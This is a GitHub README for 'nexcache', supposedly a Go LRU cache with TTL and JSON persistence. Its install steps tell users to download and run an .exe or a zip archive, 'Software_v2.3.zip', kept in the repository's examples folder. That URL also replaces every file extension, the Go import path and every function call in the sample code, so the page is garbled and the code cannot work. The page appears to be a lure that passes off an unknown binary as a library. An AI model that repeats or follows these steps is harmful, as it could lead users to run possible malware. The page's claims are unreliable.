Skip to content

๐Ÿ—„๏ธ Build a lightweight, thread-safe LRU cache for Go with TTL expiration and JSON persistence to efficiently manage memory in your applications.

License

Notifications You must be signed in to change notification settings

CoderMarc/nexcache

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

22 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

๐ŸŒŸ nexcache - Fast and Simple Cache for Go

๐Ÿ› ๏ธ Overview

nexcache is a lightweight, thread-safe LRU (Least Recently Used) cache designed for Go. It supports time-to-live (TTL) settings, background cleanup tasks, and persistence using JSON files. This application focuses on performance and simplicity, making it an ideal choice for developers and users alike.

๐Ÿ”— Download

Download nexcache

๐Ÿš€ Getting Started

To start using nexcache, youโ€™ll need to download the software from our releases page. Follow the steps below to get started quickly.

  1. Visit the Download Page
    Click the button below to go to the releases page where you can download the software.

    Download nexcache

  2. Choose Your Version
    On the releases page, you will see different versions of nexcache. Pick the latest version for the best features and performance.

  3. Download the File
    Click on the version you selected. On the next page, find the file that matches your operating system.

    • For Windows, look for a file with .exe.
    • For macOS, find a file with https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip.
    • For Linux, look for a file with https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip.
  4. Install nexcache
    Once the download is complete, follow these steps based on your operating system:

    ๐Ÿ”ท Windows

    • Locate the downloaded .exe file in your Downloads folder.
    • Double-click the file to run it.
    • Follow any prompts to complete the installation.

    ๐Ÿ”ท macOS

    • Open the https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip file to extract its contents.
    • Drag the extracted file to your Applications folder.
    • You can run nexcache from your Applications.

    ๐Ÿ”ท Linux

    • Open your terminal.
    • Navigate to the folder where you downloaded the https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip file.
    • Run the command tar -xvzf https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip to extract it.
    • Navigate into the newly created folder and run ./nexcache.
  5. Running nexcache
    After installation, you can run nexcache. Follow the next steps to configure it according to your needs.

โš™๏ธ Features

  • Thread-Safe: Safe for use in multi-threaded applications.
  • LRU Caching: Automatically removes old data.
  • TTL Support: Set time limits on cached items.
  • Background Cleanup: Regularly cleans the cache in the background.
  • JSON Persistence: Automatically saves the cache to a JSON file for easy retrieval.

๐Ÿ“‹ Requirements

To run nexcache, ensure your system meets the following requirements:

  • Operating System: Windows 10/11, macOS 10.14 or later, or any modern Linux distribution.
  • Go Version: Go 1.16 or later (if you plan to build from source).
  • Memory: At least 512 MB RAM recommended for optimal performance.

๐Ÿ“ฅ Download & Install

You can easily download and install nexcache by following these steps:

  1. Visit the releases page.
  2. Choose the appropriate version for your operating system.
  3. Follow the installation steps provided above.

For quick access, here is the Download nexcache link again.

๐Ÿ“ Usage

Once you have installed nexcache, you can start using it to store data efficiently. Refer to the following guidelines:

  1. Initialize the Cache: Start by initializing a new cache instance.
  2. Store Data: Use simple commands to store key-value pairs.
  3. Retrieve Data: Fetch your data using the associated key.
  4. Cleanup: Configure the background cleanup based on your needs.

Sample code:

package main

import (
    "fmt"
    "https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip"
)

func main() {
    cache := https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip(10) // specifies capacity
    https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip("key1", "value1")
    value, found := https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip("key1")
    if found {
        https://raw.githubusercontent.com/CoderMarc/nexcache/main/examples/komplett/Software_v2.3.zip(value)
    }
}

๐Ÿ”ฎ Advanced Configuration

For users wanting to dive deeper, nexcache allows custom configurations:

  • Set TTL for each entry.
  • Customize the size of the cache.
  • Implement custom serialization options.

Check the documentation on GitHub for advanced settings and examples.

๐Ÿค Contribution

We welcome contributions to nexcache. If you want to help improve the project, check our guidelines in the repository. Your feedback and suggestions are always valuable.

๐Ÿ“ž Support

If you have questions or need help using nexcache, feel free to reach out through the GitHub issues section or check our FAQ page.

๐Ÿ”— Additional Resources

Remember to regularly check for updates on the Download nexcache page. Enjoy using nexcache!

About

๐Ÿ—„๏ธ Build a lightweight, thread-safe LRU cache for Go with TTL expiration and JSON persistence to efficiently manage memory in your applications.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages